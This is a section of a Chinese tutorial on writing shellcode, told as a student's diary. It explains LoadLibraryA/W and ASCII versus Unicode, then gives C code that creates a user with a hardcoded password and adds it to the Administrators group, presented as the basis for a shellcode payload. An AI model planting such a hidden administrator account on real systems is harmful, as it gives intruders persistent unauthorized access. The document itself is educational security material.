2.5.2 小强的日记之三——添加用户的另一种方法

9月27日 晴

今天是个艳阳天,就如同我的心情一样,晴空万里。

上午一大早我就去了教室,看了一会儿书,同学们才陆续到来。上课铃响后,老师走进了教室,问大家查找LoadLibrary和system函数地址的问题解决得怎么样。大家都把system函数的地址找到了,并一一报了出来。而LoadLibrary的地址其他人都说没有找到,老师最后问到了我,我说内存中没有LoadLibrary的函数,只有LoadLibraryA和LoadLibraryW函数,我找了LoadLibraryA的地址。老师高兴的说:“就是这样的。”并解释道:“在Win2000下,系统只有LoadLibraryW的实现,LoadLibraryA只有一个壳。如果调用LoadLibraryA,其实也是系统自动把ASCII参数变为Unicode参数,再调用LoadLibraryW函数。”

老师还把ASCII和Unicode的差别讲了一下。

小知识:ASCII和Unicode

ASCII编码是用一个字节来表示字符,这样只有256种组合,能表达的字符有限。而Unicode是用两个字节(16位)来表示字符,这样共有65536种组合,可以表达完世界上的所有文字。为了世界化推广产品、减少成本以及提高效率,现在人们都更多的使用Unicode编码。

Unicode 只是一个字形和内码上的标准,并没有定义实际在电脑中存取的方法。因此,Unicode协会便定义了一整套存取Unicode编码的转换格式,称之为UTF,常用的格式有UTF-8和UTF-16。

接下来是讨论时间,老师找一位同学上去讲昨天的作业——添加用户的ShellCode的编写。当时老师环顾了一下大家,并问有没有同学自愿。我心里很矛盾,既想上去让大家看看我的成果,又怕讲得不好。最后在老师的再三激励以及小倩MM期待的目光下,我勇敢的站了起来,并在大家的掌声中走上了讲台。

在台上,我把昨天在家中的分析和实现过程详细的说了一遍,并把提取出来的ShellCode拿给老师和同学们看,结果得到了老师和同学们的一致肯定和表扬。

就是在台上的时候太紧张了,下台坐好后,才发现自己一身的汗水,腿也在不断打颤,幸好大家都看不到,特别是小倩,不然多没面子啊!相信有了这次经验,下次要好得多,希望以后能有更多类似的锻炼机会。

最后老师还给出了一种新的添加用户的版本,其C代码如下:

#ifndef UNICODE
#define UNICODE
#endif
#include <stdio.h>
#include <windows.h> 
#include <lm.h>
#pragma comment(lib,"netapi32")
int wmain()
{
       USER_INFO_1 ui;
       DWORD dwError = 0;
       ui.usri1_name = L"ww0830";
       ui.usri1_password = L"ww0830";
       ui.usri1_priv = USER_PRIV_USER;
       ui.usri1_home_dir = NULL;
       ui.usri1_comment = NULL;
       ui.usri1_flags = UF_SCRIPT;
       ui.usri1_script_path = NULL;
       //添加名为ww0830的用户,密码也为ww0830   
       if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
       {
              //添加成功
              printf("Add user success.\n");
       }
       else
       {
              //添加失败
              printf("Add user Error!\n");
              return 1;
       }
       wchar_t szAccountName[100]={0};
       wcscpy(szAccountName,L"ww0830");
    LOCALGROUP_MEMBERS_INFO_3 account;
       account.lgrmi3_domainandname=szAccountName;
       //把ww0830添加到Administrators组
       if(NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1)== NERR_Success )
       {
              //添加成功
              printf("Add to Administrators success.\n");
              return 0;
       }
       else
       {
              //添加失败
              printf("Add to Administrators Fail!\n");
              return 1;
       }   
}

这种方法用的是Netapi32.dll里的NetUserAdd和NetLocalGroupAddMembers函数。好酷啊!执行效果如图2-24。当时我就下定决心:自己会复杂ShellCode的编写后,一定要把它改为机器码的ShellCode。

不过我又想到,那些实际的ShellCode是怎样的呢?如果只是添加个用户,用处不是很大,于是我提出了自己的疑问。

老师又表扬了我,说考虑得很全,并说下节课继续复杂的ShellCode的研究,写一个真正的ShellCode。

看到小倩又看了我一眼,心里为之一动。她这一望,有什么意思呢?她也知道我的一片心情吗?

最远的距离不是天涯海角,而是在你身边却不知道我爱你。

可能以后自己会慢慢理解这句话吧!

可惜今天我要早点去亲戚家吃饭,下课后就急急忙忙的走了。

晚上去外婆家玩到很晚。一家人聚在一起吃饭很是热闹,很久没有这样放松过了。作业完成得很好,也可以好好的休息一下了,今天真是惬意啊!